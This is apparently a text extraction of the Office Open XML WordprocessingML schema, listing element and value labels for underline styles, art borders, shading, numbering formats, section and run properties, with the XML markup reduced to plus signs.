+ Single Underline + + + + + Underline Non-Space Characters Only + + + + + Double Underline + + + + + Thick Underline + + + + + Dotted Underline + + + + + Thick Dotted Underline + + + + + Dashed Underline + + + + + Thick Dashed Underline + + + + + Long Dashed Underline + + + + + Thick Long Dashed Underline + + + + + Dash-Dot Underline + + + + + Thick Dash-Dot Underline + + + + + Dash-Dot-Dot Underline + + + + + Thick Dash-Dot-Dot Underline + + + + + Wave Underline + + + + + Heavy Wave Underline + + + + + Double Wave Underline + + + + + No Underline + + + + + + + + Underline Style + + + + + Underline Color + + + + + Underline Theme Color + + + + + Underline Theme Color Tint + + + + + Underline Theme Color Shade + + + + + + Animated Text Effects + + + + + Blinking Background Animation + + + + + Colored Lights Animation + + + + + Black Dashed Line Animation + + + + + Marching Red Ants + + + + + Shimmer Animation + + + + + Sparkling Lights Animation + + + + + No Animation + + + + + + + + Animated Text Effect Type + + + + + + Border Styles + + + + + No Border + + + + + No Border + + + + + Single Line Border + + + + + Single Line Border + + + + + Double Line Border + + + + + Dotted Line Border + + + + + Dashed Line Border + + + + + Dot Dash Line Border + + + + + Dot Dot Dash Line Border + + + + + Triple Line Border + + + + + Thin, Thick Line Border + + + + + Thick, Thin Line Border + + + + + Thin, Thick, Thin Line Border + + + + + Thin, Thick Line Border + + + + + Thick, Thin Line Border + + + + + Thin, Thick, Thin Line Border + + + + + Thin, Thick Line Border + + + + + Thick, Thin Line Border + + + + + Thin, Thick, Thin Line Border + + + + + Wavy Line Border + + + + + Double Wave Line Border + + + + + Dashed Line Border + + + + + Dash Dot Strokes Line Border + + + + + 3D Embossed Line Border + + + + + 3D Engraved Line Border + + + + + Outset Line Bordser + + + + + Inset Line Border + + + + + Apples Art Border + + + + + Arched Scallops Art Border + + + + + Baby Pacifier Art Border + + + + + Baby Rattle Art Border + + + + + Three Color Balloons Art Border + + + + + Hot Air Balloons Art Border + + + + + Black Dash Art Border + + + + + Black Dot Art Border + + + + + Black Square Art Border + + + + + Thin Line Art Border + + + + + White Dash Art Border + + + + + White Dot Art Border + + + + + White Square Art Border + + + + + Wide Inline Art Border + + + + + Wide Midline Art Border + + + + + Wide Outline Art Border + + + + + Bats Art Border + + + + + Birds Art Border + + + + + Birds Flying Art Border + + + + + Cabin Art Border + + + + + Cake Art Border + + + + + Candy Corn Art Border + + + + + Knotwork Art Border + + + + + Certificate Banner Art Border + + + + + Chain Link Art Border + + + + + Champagne Bottle Art Border + + + + + Black and White Bar Art Border + + + + + Color Checked Bar Art Border + + + + + Checkerboard Art Border + + + + + Christmas Tree Art Border + + + + + Circles And Lines Art Border + + + + + Circles and Rectangles Art Border + + + + + Wave Art Border + + + + + Clocks Art Border + + + + + Compass Art Border + + + + + Confetti Art Border + + + + + Confetti Art Border + + + + + Confetti Art Border + + + + + Confetti Streamers Art Border + + + + + Confetti Art Border + + + + + Corner Triangle Art Border + + + + + Dashed Line Art Border + + + + + Dotted Line Art Border + + + + + Maze Art Border + + + + + Butterfly Art Border + + + + + Fish Art Border + + + + + Insects Art Border + + + + + Ladybug Art Border + + + + + Cross-stitch Art Border + + + + + Cupid Art Border + + + + + Archway Art Border + + + + + Color Archway Art Border + + + + + Blocks Art Border + + + + + Gray Diamond Art Border + + + + + Double D Art Border + + + + + Diamond Art Border + + + + + Earth Art Border + + + + + Earth Art Border + + + + + Shadowed Square Art Border + + + + + Shadowed Square Art Border + + + + + Painted Egg Art Border + + + + + Fans Art Border + + + + + Film Reel Art Border + + + + + Firecracker Art Border + + + + + Flowers Art Border + + + + + Daisy Art Border + + + + + Flowers Art Border + + + + + Flowers Art Border + + + + + Pansy Art Border + + + + + Red Rose Art Border + + + + + Roses Art Border + + + + + Flowers in a Teacup Art Border + + + + + Small Flower Art Border + + + + + Gems Art Border + + + + + Gingerbread Man Art Border + + + + + Triangle Gradient Art Border + + + + + Handmade Art Border + + + + + Handmade Art Border + + + + + Heart-Shaped Balloon Art Border + + + + + Gray Heart Art Border + + + + + Hearts Art Border + + + + + Pattern Art Border + + + + + Holly Art Border + + + + + House Art Border + + + + + Circular Art Border + + + + + Ice Cream Cone Art Border + + + + + Light Bulb Art Border + + + + + Lightning Art Border + + + + + Lightning Art Border + + + + + Map Pins Art Border + + + + + Maple Leaf Art Border + + + + + Muffin Art Border + + + + + Marquee Art Border + + + + + Marquee Art Border + + + + + Moon Art Border + + + + + Mosaic Art Border + + + + + Musical Note Art Border + + + + + Patterned Art Border + + + + + Oval Art Border + + + + + Package Art Border + + + + + Black Palm Tree Art Border + + + + + Color Palm Tree Art Border + + + + + Paper Clip Art Border + + + + + Papyrus Art Border + + + + + Party Favor Art Border + + + + + Party Glass Art Border + + + + + Pencils Art Border + + + + + Character Art Border + + + + + Waving Character Border + + + + + Character With Hat Art Border + + + + + Poinsettia Art Border + + + + + Postage Stamp Art Border + + + + + Pumpkin Art Border + + + + + Push Pin Art Border + + + + + Push Pin Art Border + + + + + Pyramid Art Border + + + + + Pyramid Art Border + + + + + Quadrants Art Border + + + + + Rings Art Border + + + + + Safari Art Border + + + + + Saw tooth Art Border + + + + + Gray Saw tooth Art Border + + + + + Scared Cat Art Border + + + + + Umbrella Art Border + + + + + Shadowed Squares Art Border + + + + + Shark Tooth Art Border + + + + + Bird Tracks Art Border + + + + + Rocket Art Border + + + + + Snowflake Art Border + + + + + Snowflake Art Border + + + + + Sombrero Art Border + + + + + Southwest-themed Art Border + + + + + Stars Art Border + + + + + Stars On Top Art Border + + + + + 3-D Stars Art Border + + + + + Stars Art Border + + + + + Stars With Shadows Art Border + + + + + Sun Art Border + + + + + Whirligig Art Border + + + + + Torn Paper Art Border + + + + + Black Torn Paper Art Border + + + + + Tree Art Border + + + + + Triangle Art Border + + + + + Triangles Art Border + + + + + Tribal Art Border One + + + + + Tribal Art Border Two + + + + + Tribal Art Border Three + + + + + Tribal Art Border Four + + + + + Tribal Art Border Five + + + + + Tribal Art Border Six + + + + + Twisted Lines Art Border + + + + + Twisted Lines Art Border + + + + + Vine Art Border + + + + + Wavy Line Art Border + + + + + Weaving Angles Art Border + + + + + Weaving Braid Art Border + + + + + Weaving Ribbon Art Border + + + + + Weaving Strips Art Border + + + + + White Flowers Art Border + + + + + Woodwork Art Border + + + + + Crisscross Art Border + + + + + Triangle Art Border + + + + + Zigzag Art Border + + + + + Zigzag stitch + + + + + + + + Border Style + + + + + Border Color + + + + + Border Theme Color + + + + + Border Theme Color Tint + + + + + Border Theme Color Shade + + + + + Border Width + + + + + Border Spacing Measurement + + + + + Border Shadow + + + + + Create Frame Effect + + + + + + Shading Patterns + + + + + No Pattern + + + + + No Pattern + + + + + 100% Fill Pattern + + + + + Horizontal Stripe Pattern + + + + + Vertical Stripe Pattern + + + + + Reverse Diagonal Stripe Pattern + + + + + Diagonal Stripe Pattern + + + + + Horizontal Cross Pattern + + + + + Diagonal Cross Pattern + + + + + Thin Horizontal Stripe Pattern + + + + + Thin Vertical Stripe Pattern + + + + + Thin Reverse Diagonal Stripe Pattern + + + + + Thin Diagonal Stripe Pattern + + + + + Thin Horizontal Cross Pattern + + + + + Thin Diagonal Cross Pattern + + + + + 5% Fill Pattern + + + + + 10% Fill Pattern + + + + + 12.5% Fill Pattern + + + + + 15% Fill Pattern + + + + + 20% Fill Pattern + + + + + 25% Fill Pattern + + + + + 30% Fill Pattern + + + + + 35% Fill Pattern + + + + + 37.5% Fill Pattern + + + + + 40% Fill Pattern + + + + + 45% Fill Pattern + + + + + 50% Fill Pattern + + + + + 55% Fill Pattern + + + + + 60% Fill Pattern + + + + + 62.5% Fill Pattern + + + + + 65% Fill Pattern + + + + + 70% Fill Pattern + + + + + 75% Fill Pattern + + + + + 80% Fill Pattern + + + + + 85% Fill Pattern + + + + + 87.5% Fill Pattern + + + + + 90% Fill Pattern + + + + + 95% Fill Pattern + + + + + + + + Shading Pattern + + + + + Shading Pattern Color + + + + + Shading Pattern Theme Color + + + + + Shading Pattern Theme Color Tint + + + + + Shading Pattern Theme Color Shade + + + + + Shading Background Color + + + + + Shading Background Theme Color + + + + + Shading Background Theme Color Tint + + + + + Shading Background Theme Color Shade + + + + + + Vertical Positioning Location + + + + + Regular Vertical Positioning + + + + + Superscript + + + + + Subscript + + + + + + + + Subscript/Superscript Value + + + + + + + Value + + + + + Fit Text Run ID + + + + + + + + + + Add Before + + + + + Change Before + + + + + + Change After + + + + + + + + + Hyphen Character + + + + + Hyphenation Rule + + + + + + Emphasis Mark Type + + + + + No Emphasis Mark + + + + + Dot Emphasis Mark Above Characters + + + + + Comma Emphasis Mark Above Characters + + + + + Circle Emphasis Mark Above Characters + + + + + Dot Emphasis Mark Below Characters + + + + + + + + Emphasis Mark Type + + + + + + + Latin Language + + + + + East Asian Language + + + + + Complex Script Language + + + + + + Two Lines in One Enclosing Character Type + + + + + No Enclosing Brackets + + + + + Round Brackets + + + + + Square Brackets + + + + + Angle Brackets + + + + + Curly Brackets + + + + + + + Text Combination Type + + + + + Two Lines In One + + + + + + + + East Asian Typography Run ID + + + + + Two Lines in One + + + + + Display Brackets Around Two Lines in One + + + + + Horizontal in Vertical (Rotate Text) + + + + + Compress Rotated Text to Line Height + + + + + + Horizontal Alignment Location + + + + + Left Aligned Horizontally + + + + + Centered Horizontally + + + + + Right Aligned Horizontally + + + + + Inside + + + + + Outside + + + + + + + Vertical Alignment Location + + + + + In line With Text + + + + + Top + + + + + Centered Vertically + + + + + Bottom + + + + + Inside Anchor Extents + + + + + Outside Anchor Extents + + + + + + + Height Rule + + + + + Determine Height Based On Contents + + + + + Exact Height + + + + + Minimum Height + + + + + + + Text Wrapping Around Text Frame Type + + + + + Allow Text Wrapping Around Frame + + + + + No Text Wrapping Around Frame + + + + + + + + + Auto wrapping + + + + + + Wrap text around frame + + + + + Tight text wrapping + + + + + Through text wrapping + + + + + + + + Vertical Anchor Location + + + + + Relative To Vertical Text Extents + + + + + Relative To Margin + + + + + Relative To Page + + + + + + + Horizontal Anchor Location + + + + + Relative to Text Extents + + + + + Relative To Margin + + + + + Relative to Page + + + + + + + Text Frame Drop Cap Location + + + + + Not Drop Cap + + + + + Drop Cap Inside Margin + + + + + Drop Cap Outside Margin + + + + + + + + Drop Cap Frame + + + + + Drop Cap Vertical Height in Lines + + + + + Frame Width + + + + + Frame Height + + + + + Vertical Frame Padding + + + + + Horizontal Frame Padding + + + + + Text Wrapping Around Frame + + + + + Frame Horizontal Positioning Base + + + + + Frame Vertical Positioning Base + + + + + Absolute Horizontal Position + + + + + Relative Horizontal Position + + + + + Absolute Vertical Position + + + + + Relative Vertical Position + + + + + Frame Height Type + + + + + Lock Frame Anchor to Paragraph + + + + + + Custom Tab Stop Type + + + + + No Tab Stop + + + + + Left Tab + + + + + Centered Tab + + + + + Right Tab + + + + + Decimal Tab + + + + + Bar Tab + + + + + List Tab + + + + + + + Custom Tab Stop Leader Character + + + + + No tab stop leader + + + + + Dotted leader line + + + + + Dashed tab stop leader line + + + + + Solid leader line + + + + + Heavy solid leader line + + + + + Middle dot leader line + + + + + + + + Tab Stop Type + + + + + Tab Leader Character + + + + + Tab Stop Position + + + + + + Line Spacing Rule + + + + + Automatically Determined Line Height + + + + + Exact Line Height + + + + + Minimum Line Height + + + + + + + + Spacing Above Paragraph + + + + + Spacing Above Paragraph IN Line Units + + + + + Automatically Determine Spacing Above Paragraph + + + + + Spacing Below Paragraph + + + + + Spacing Below Paragraph in Line Units + + + + + Automatically Determine Spacing Below Paragraph + + + + + Spacing Between Lines in Paragraph + + + + + Type of Spacing Between Lines + + + + + + + Left Indentation + + + + + Left Indentation in Character Units + + + + + Right Indentation + + + + + Right Indentation in Character Units + + + + + Indentation Removed from First Line + + + + + Indentation Removed From First Line in Character Units + + + + + Additional First Line Indentation + + + + + Additional First Line Indentation in Character Units + + + + + + Horizontal Alignment Type + + + + + Align Left + + + + + Align Center + + + + + Align Right + + + + + Justified + + + + + Medium Kashida Length + + + + + Distribute All Characters Equally + + + + + Align to List Tab + + + + + Widest Kashida Length + + + + + Low Kashida Length + + + + + Thai Language Justification + + + + + + + + Alignment Type + + + + + + View modes + + + + + + Print Layout View + + + + + + + + Web layout view + + + + + + + + Document View Value + + + + + + Zoom Modes + + + + + + + Zoom to best fit + + + + + Fit text to page + + + + + + + + Zoom Value + + + + + Zoom Percentage + + + + + + + Writing Style Language + + + + + Vendor ID + + + + + Writing Style DLL Version + + + + + NLCheck + + + + + Writing style rule set + + + + + + + + + Incomplete Spelling State + + + + + + + + Spell checker state + + + + + Grammar state + + + + + + + + + + Email Document Type + + + + + + + + Value + + + + + + + + + Read Only Protection State + + + + + Allow only comments in a protected document + + + + + Track edits as changes in a protected document + + + + + Allow form filling in a protected document + + + + + + + + Document Editing Restrictions + + + + + Formatting restrictions + + + + + Document protection enforcement + + + + + Document Protection Password + + + + + + + + + + + + E-Mail + + + + + + + + + Value + + + + + + + + + Access Database Data Source + + + + + + + + + + + + Value + + + + + + + + + Merge to Printer + + + + + Email Mail Merge Destination + + + + + + + + + Value + + + + + + + + + + Address Block + + + + + + + + + + + Field type value + + + + + + + Built-In Style Identifier + + + + + Default Style Name + + + + + + + Display tracked changes + + + + + Display comments + + + + + Show Insertions and Deletions + + + + + Display formatting changes + + + + + Show Ink Annotations + + + + + + + language + + + + + Value + + + + + + Text Flow Direction + + + + + Left to Right, Top to Bottom + + + + + Top to Bottom, Right to Left + + + + + Bottom to Top, Left to Right + + + + + Left to Right, Top to Bottom Rotated + + + + + Top to Bottom, Right to Left Rotated + + + + + Top to Bottom, Left to Right Rotated + + + + + + + Direction text flows + + + + Direction of Text Flow + + + + + + Vertical Text Alignment Types + + + + + Align Text at Top + + + + + Align Text at Center + + + + + Align Text at Baseline + + + + + Align Text at Bottom + + + + + Automatically Determine Alignment + + + + + + + + Vertical Character Alignment Position + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Displaced by an SDT + + + + + + + + + + + Column where bookmark begins + + + + + Column where bookmark ends + + + + + + + + + + + Bookmark name + + + + + + + + + + + + + + Comment author initials + + + + + + + + + + + Original numbering + + + + + + + + + + + + Previous Table-Level Property Exceptions + + + + + + + + + + + + + Previous Table Cell Properties + + + + + + + + + + + + + Previous Table Row Properties + + + + + + + + + + + + + Previous Table Grid + + + + + + + + + + + + + Previous Table Properties + + + + + + + + + + + + + Revised Section Properties + + + + + + + + + + + + + Revised Paragraph Properties + + + + + + + + + + + + + Revised Run Properties + + + + + + + + + + + + + + + + + + + + + + + + + + + Bookmark Start + + + + + Bookmark End + + + + + Move Destination Location Start + + + + + Move Source Location End + + + + + Move Destination Start + + + + + Move Destination End + + + + + Comment Anchor Start + + + + + Comment Anchor End + + + + + Custom XML Markup Insertion Start + + + + + Custom XML Markup Insertion End + + + + + Custom XML Markup Deletion Start + + + + + Custom XML Markup Deletion End + + + + + Custom XML Markup Move Source Location Start + + + + + Custom XML Markup Move Source Location End + + + + + Custom XML Markup Move Destination Location Start + + + + + Custom XML Markup Move Destination Location End + + + + + + + + + Numbering Level Reference + + + + + Numbering Definition Instance Reference + + + + + Revised Numbering Properties + + + + + Inserted Numbering Properties + + + + + + + + + Paragraph Border Above Identical Paragraphs + + + + + Left Paragraph Border + + + + + Paragraph Border Between Identical Paragraphs + + + + + Right Paragraph Border + + + + + Paragraph Border Between Identical Paragraphs + + + + + Paragraph Border Between Facing Pages + + + + + + + + + Custom Tab Stop + + + + + + + Lines To Tight Wrap Within Text Box + + + + + Do Not Tight Wrap + + + + + Tight Wrap All Lines + + + + + Tight Wrap First and Last Lines + + + + + Tight Wrap First Line + + + + + Tight Wrap Last Line + + + + + + + + Lines to Tight Wrap to Paragraph Extents + + + + + + + + Referenced Paragraph Style + + + + + Keep Paragraph With Next Paragraph + + + + + Keep All Lines On One Page + + + + + Start Paragraph on Next Page + + + + + Text Frame Properties + + + + + Allow First/Last Line to Display on a Separate Page + + + + + Numbering Definition Instance Reference + + + + + Suppress Line Numbers for Paragraph + + + + + Paragraph Borders + + + + + Paragraph Shading + + + + + Set of Custom Tab Stops + + + + + Suppress Hyphenation for Paragraph + + + + + Use East Asian Typography Rules for First and Last Character per Line + + + + + Allow Line Breaking At Character Level + + + + + Allow Punctuation to Extent Past Text Extents + + + + + Compress Punctuation at Start of a Line + + + + + Automatically Adjust Spacing of Latin and East Asian Text + + + + + Automatically Adjust Spacing of East Asian Text and Numbers + + + + + Right to Left Paragraph Layout + + + + + Automatically Adjust Right Indent When Using Document Grid + + + + + Use Document Grid Settings for Inter-Line Paragraph Spacing + + + + + Spacing Between Lines and Above/Below Paragraph + + + + + Paragraph indentation + + + + + Ignore Spacing Above and Below When Using Identical Styles + + + + + Use Left/Right Indents as Inside/Outside Indents + + + + + Allow Surrounding Paragraphs to Tight Wrap to Text Box Contents + + + + + Prevent Text Frames From Overlapping Paragraph + + + + + Paragraph Alignment + + + + + Paragraph Text Flow Direction + + + + + Vertical Character Alignment on Line + + + + + Associated Outline Level + + + + + Associated HTML DIV ID + + + + + Paragraph Conditional Formatting + + + + + + + + + + + Run Properties for the Paragraph Mark + + + + + Section Properties + + + + + Set of Revised Paragraph Properties + + + + + + + + + + + + Binary data name + + + + + + + + + + + + + + + + + + Unique Identifier for ActiveX Control + + + + + Unique Name for ActiveX Control + + + + + Associated VML Data Reference + + + + + Class Name for ActiveX Control + + + + + Width for ActiveX Control + + + + + Height for ActiveX Control + + + + + Alignment for Floating ActiveX Control + + + + + ActiveX Property Bag Relationship Reference + + + + + + + + + Background Color + + + + + Background Theme Color + + + + + Border Theme Color Tint + + + + + Border Theme Color Shade + + + + + + + + + Relationship to Header or Footer Part + + + + + + + + + + + + + + + + Inline ActiveX Control + + + + + + + + + + + + + Movie + + + + + Floating ActiveX Control + + + + + + + + + + + Drawing Element Anchor + + + + + Inline Drawing Object + + + + + + + + + + + + Field data + + + + + + Future Storage Bucket + + + + + + + + Field Instruction Text + + + + + Field recalculation lock + + + + + Invalidated Field Cache + + + + + + + + Field begin + + + + + + Field end + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Plain Text Form Field + + + + + Number form field + + + + + Date form field + + + + + Current time form field + + + + + Current date form field + + + + + Calculated text form field + + + + + + + + Value + + + + + + + Value + + + + + + + + Field data + + + + + Form Field Properties + + + + + + Field character type + + + + + Field locked + + + + + Invalidated Field Cache + + + + + + + + + + + Future Storage Bucket + + + + + + + Frame target for hyperline + + + + + Hyperlink tooltip + + + + + Location in target document + + + + + Add to history list + + + + + Hyperlink Anchor + + + + + + + + + Form field name + + + + + Enabled + + + + + Calculate results on exit of the field + + + + + Form Field Entry Macro + + + + + Form Field Exit Macro + + + + + Help text + + + + + Status bar text + + + + + + Checkbox Form Field + + + + + Drop-Down List Form Field + + + + + Text form field + + + + + + + + + Type + + + + + Value + + + + + + + Type + + + + + Value + + + + + + + + + Checkbox form field size + + + + + Automatic checkbox form field size + + + + + + Default Checkbox State + + + + + Checkbox Form Field State + + + + + + + + + Dropdown list value + + + + + Default index + + + + + List entry + + + + + + + + + Type of input text field + + + + + Default text from field string + + + + + Text form field max length + + + + + Format of field result + + + + + + + Section Type + + + + + Next Page Section Break + + + + + Column Section Break + + + + + Continuous Section Break + + + + + Even Page Section Break + + + + + Odd Page Section Break + + + + + + + + Section Type Setting + + + + + + + First Page Printer Tray Code + + + + + Non-First Page Printer Tray Code + + + + + + Numbering Format + + + + + Decimal Numbers + + + + + Uppercase Roman Numerals + + + + + Lowercase Roman Numerals + + + + + Uppercase Latin Alphabet + + + + + Lowercase Latin Alphabet + + + + + Ordinal + + + + + Cardinal Text + + + + + Ordinal Text + + + + + Hexadecimal Numbering + + + + + Chicago Manual of Style + + + + + Ideographs + + + + + Japanese Counting System + + + + + AIUEO Order Hiragana + + + + + Iroha Ordered Katakana + + + + + Double Byte Arabic Numerals + + + + + Single Byte Arabic Numerals + + + + + Japanese Legal Numbering + + + + + Japanese Digital Ten Thousand Counting System + + + + + Decimal Numbers Enclosed in a Circle + + + + + Double Byte Arabic Numerals Alternate + + + + + Full-Width AIUEO Order Hiragana + + + + + Full-Width Iroha Ordered Katakana + + + + + Initial Zero Arabic Numerals + + + + + Bullet + + + + + Korean Ganada Numbering + + + + + Korean Chosung Numbering + + + + + Decimal Numbers Followed by a Period + + + + + Decimal Numbers Enclosed in Parenthesis + + + + + Decimal Numbers Enclosed in a Circle + + + + + Ideographs Enclosed in a Circle + + + + + Traditional Ideograph Format + + + + + Zodiac Ideograph Format + + + + + Traditional Zodiac Ideograph Format + + + + + Taiwanese Counting System + + + + + Traditional Legal Ideograph Format + + + + + Taiwanese Counting Thousand System + + + + + Taiwanese Digital Counting System + + + + + Chinese Counting System + + + + + Chinese Legal Simplified Format + + + + + Chinese Counting Thousand System + + + + + Korean Digital Counting System + + + + + Korean Counting System + + + + + Korean Legal Numbering + + + + + Korean Digital Counting System Alternate + + + + + Vietnamese Numerals + + + + + Lowercase Russian Alphabet + + + + + Uppercase Russian Alphabet + + + + + No Numbering + + + + + Number With Dashes + + + + + Hebrew Numerals + + + + + Hebrew Alphabet + + + + + Arabic Alphabet + + + + + Arabic Abjad Numerals + + + + + Hindi Vowels + + + + + Hindi Consonants + + + + + Hindi Numbers + + + + + Hindi Counting System + + + + + Thai Letters + + + + + Thai Numerals + + + + + Thai Counting System + + + + + + + Page Orientation + + + + + Portrait Mode + + + + + Landscape Mode + + + + + + + + Page Width + + + + + Page Height + + + + + Page Orientation + + + + + Printer Paper Code + + + + + + + Top Margin Spacing + + + + + Right Margin Spacing + + + + + Page Bottom Spacing + + + + + Left Margin Spacing + + + + + Spacing to Top of Header + + + + + Spacing to Bottom of Footer + + + + + Page Gutter Spacing + + + + + + Page Border Z-Order + + + + + Page Border Ahead of Text + + + + + Page Border Behind Text + + + + + + + Page Border Display Options + + + + + Display Page Border on All Pages + + + + + Display Page Border on First Page + + + + + Display Page Border on All Pages Except First + + + + + + + Page Border Positioning Base + + + + + Page Border Is Positioned Relative to Page Edges + + + + + Page Border Is Positioned Relative to Text Extents + + + + + + + + + Top Border + + + + + Left Border + + + + + Bottom Border + + + + + Right Border + + + + + + Z-Ordering of Page Border + + + + + Pages to Display Page Borders + + + + + Page Border Positioning + + + + + + Chapter Separator Types + + + + + Hyphen Chapter Separator + + + + + Period Chapter Separator + + + + + Colon Chapter Separator + + + + + Em Dash Chapter Separator + + + + + En Dash Chapter Separator + + + + + + + Line Numbering Restart Position + + + + + Restart Line Numbering on Each Page + + + + + Restart Line Numbering for Each Section + + + + + Continue Line Numbering From Previous Section + + + + + + + + Line Number Increments to Display + + + + + Line Numbering Starting Value + + + + + Distance Between Text and Line Numbering + + + + + Line Numbering Restart Setting + + + + + + + Page Number Format + + + + + Starting Page Number + + + + + Chapter Heading Style + + + + + Chapter Separator Character + + + + + + Text column properties + + + + Column Width + + + + + Space Before Following Column + + + + + + Text columns data + + + + + Single Column Definition + + + + + + Equal Column Widths + + + + + Spacing Between Equal Width Columns + + + + + Number of Equal Width Columns + + + + + Draw Line Between Columns + + + + + + Vertical Alignment Type + + + + + Align Top + + + + + Align Center + + + + + Vertical Justification + + + + + Align Bottom + + + + + + + + Vertical Alignment Setting + + + + + + Document Grid Types + + + + + No Document Grid + + + + + Line Grid Only + + + + + Line and Character Grid + + + + + Character Grid Only + + + + + + + + Document Grid Type + + + + + Document Grid Line Pitch + + + + + Document Grid Character Pitch + + + + + + Header or Footer Type + + + + + Even Numbered Pages Only + + + + + Default Header or Footer + + + + + First Page Only + + + + + + + Footnote or Endnote Type + + + + + Normal Footnote/Endnote + + + + + Separator + + + + + Continuation Separator + + + + + Continuation Notice Separator + + + + + + + + + + Header or Footer Type + + + + + + + + + + Header Reference + + + + + Footer Reference + + + + + + + + + + + + Section-Wide Footnote Properties + + + + + Section-Wide Endnote Properties + + + + + Section Type + + + + + Page Size + + + + + Page Margins + + + + + Paper Source Information + + + + + Page Borders + + + + + Line Numbering Settings + + + + + Page Numbering Settings + + + + + Column Definitions + + + + + Only Allow Editing of Form Fields + + + + + Vertical Text Alignment on Page + + + + + Suppress Endnotes In Document + + + + + Different First Page Headers and Footers + + + + + Text Flow Direction + + + + + Right to Left Section Layout + + + + + Gutter on Right Side of Page + + + + + Document Grid + + + + + + + + Physical Section Mark Character Revision ID + + + + + Section Deletion Revision ID + + + + + Section Addition Revision ID + + + + + Section Properties Revision ID + + + + + + + + + + + + + + + + Section Property Revisions + + + + + + + + Break Types + + + + + Page Break + + + + + Column Break + + + + + Line Break + + + + + + + Line Break Text Wrapping Restart Location + + + + + Restart On Next Line + + + + + Restart In Next Text Region When In Leftmost Position + + + + + Restart In Next Text Region When In Rightmost Position + + + + + Restart On Next Full Line + + + + + + + + Break Type + + + + + Restart Location For Text Wrapping Break + + + + + + Absolute Position Tab Alignment + + + + + Left + + + + + Center + + + + + Right + + + + + + + Absolute Position Tab Positioning Base + + + + + Relative To Text Margins + + + + + Relative To Indents + + + + + + + Absolute Position Tab Leader Character + + + + + No Leader Character + + + + + Dot Leader Character + + + + + Hyphen Leader Character + + + + + Underscore Leader Character + + + + + Centered Dot Leader Character + + + + + + + + Positional Tab Stop Alignment + + + + + Positional Tab Base + + + + + Tab Leader Character + + + + + + + Symbol Character Font + + + + + Symbol Character Code + + + + + + + + + + + Grammar end + + + + + + + + Proofing Error Anchor Type + + + + + + + + + + Administrator + + + + + + + + + + + + Range Permission ID + + + + + Bookmark Adjustment Property + + + + + + + + + Range Permission Editing Group + + + + + Range Permission Editor + + + + + First column for permissions + + + + + Last column for permissions + + + + + + + + + + + Element Contains Significant Whitespace + + + + + + + + + + Break + + + + + Text + + + + + Deleted Text + + + + + Field Code + + + + + Deleted Field Code + + + + + Non Breaking Hyphen Character + + + + + Optional Hyphen Character + + + + + Date Block - Short Day Format + + + + + Date Block - Short Month Format + + + + + Date Block - Short Year Format + + + + + Date Block - Long Day Format + + + + + Date Block - Long Month Format + + + + + Date Block - Long Year Format + + + + + Comment Information Block + + + + + Footnote Reference Mark + + + + + Endnote Reference Mark + + + + + Footnote/Endnote Separator Mark + + + + + Continuation Separator Mark + + + + + Symbol Character + + + + + Page Number Block + + + + + Carriage Return + + + + + Tab Character + + + + + Inline Embedded Object + + + + + VML Object + + + + + Field Start/End/Separator Character + + + + + Phonetic Guide + + + + + Footnote Reference + + + + + Endnote Reference + + + + + Comment Reference + + + + + DrawingML Object + + + + + Absolute Position Tab Character + + + + + + + + + + + + Revision Identifier for Run Properties + + + + + Revision Identifier for Run Deletion + + + + + Revision Identifier for Run + + + + + + Font Type Hint + + + + + High ANSI Font + + + + + East Asian Font + + + + + Complex Script Font + + + + + + + Theme Font + + + + + Major East Asian Theme Font + + + + + Major Complex Script Theme Font + + + + + Major ASCII Theme Font + + + + + Major High ANSI Theme Font + + + + + Minor East Asian Theme Font + + + + + Minor Complex Script Theme Font + + + + + Minor ASCII Theme Font + + + + + Minor High ANSI Theme Font + + + + + + + + Font Content Type + + + + + ASCII Font + + + + + High ANSI Font + + + + + East Asian Font + + + + + Complex Script Font + + + + + ASCII Theme Font + + + + + High ANSI Theme Font + + + + + East Asian Theme Font + + + + + Complex Script Theme Font + + + + + + + + Referenced Character Style + + + + + Run Fonts + + + + + Bold + + + + + Complex Script Bold + + + + + Italics + + + + + Complex Script Italics + + + + + Display All Characters As Capital Letters + + + + + Small Caps + + + + + Single Strikethrough + + + + + Double Strikethrough + + + + + Display Character Outline + + + + + Shadow + + + + + Embossing + + + + + Imprinting + + + + + Do Not Check Spelling or Grammar + + + + + Use Document Grid Settings For Inter-Character Spacing + + + + + Hidden Text + + + + + Web Hidden Text + + + + + Run Content Color + + + + + Character Spacing Adjustment + + + + + Expanded/Compressed Text + + + + + Font Kerning + + + + + Vertically Raised or Lowered Text + + + + + Font Size + + + + + Complex Script Font Size + + + + + Text Highlighting + + + + + Underline + + + + + Animated Text Effect + + + + + Text Border + + + + + Run Shading + + + + + Manual Run Width + + + + + Subscript/Superscript Text + + + + + Right To Left Text + + + + + Use Complex Script Formatting on Run + + + + + Emphasis Mark + + + + + Automatic Hyphenation Result + + + + + Languages for Run Content + + + + + East Asian Typography Settings + + + + + Paragraph Mark Is Always Hidden + + + + + Office Open XML Math + + + + + + + + + + + Set of Revised Run Properties + + + + + + + + + + + + + + + + + + Inserted Text Runs + + + + + Deleted Text Runs + + + + + Source of Moved Text Runs + + + + + Target of Moved Text Runs + + + + + Modified Run Properties + + + + + + + + + + + Numbering Definitions + + + + + Context-Free chunk style definition + + + + + Font Definitions + + + + + + + + + + Alternative Format Import Properties + + + + + + + + + + Match Source Formatting on Import + + + + + + + Phonetic Guide Text Alignment + + + + + Center + + + + + Distribute All Characters + + + + + Distribute all Characters w/ Additional Space On Either Side + + + + + Left Aligned + + + + + Right Aligned + + + + + Vertically Aligned to Right of Base Text + + + + + + + + Phonetic Guide Text Alignment Value + + + + + + + + Phonetic Guide Text Alignment + + + + + Phonetic Guide Text Font Size + + + + + Distance Between Phonetic Guide Text and Phonetic Guide Base Text + + + + + Phonetic Guide Base Text Font Size + + + + + Language ID for Phonetic Guide + + + + + Invalidated Field Cache + + + + + + + + + Phonetic Guide Text Run + + + + + + + + + + + + + Future Storage Bucket + + + + + + + + + + Phonetic Guide Properties + + + + + Phonetic Guide Text + + + + + Phonetic Guide Base Text + + + + + + + + Boundary character protection + + + + + SDT protection + + + + + Display As Picture + + + + + + Locking Types + + + + + SDT Cannot Be Deleted + + + + + Contents Cannot Be Edited At Runtime + + + + + No Locking + + + + + Contents Cannot Be Edited At Runtime And SDT Cannot Be Deleted + + + + + + + + Locking Type + + + + + + + List Entry Display Text + + + + + List Entry Value + + + + + + Date Storage Format Types + + + + + Same As Display + + + + + XML Schema Date Format + + + + + XML Schema DateTime Format + + + + + + + + 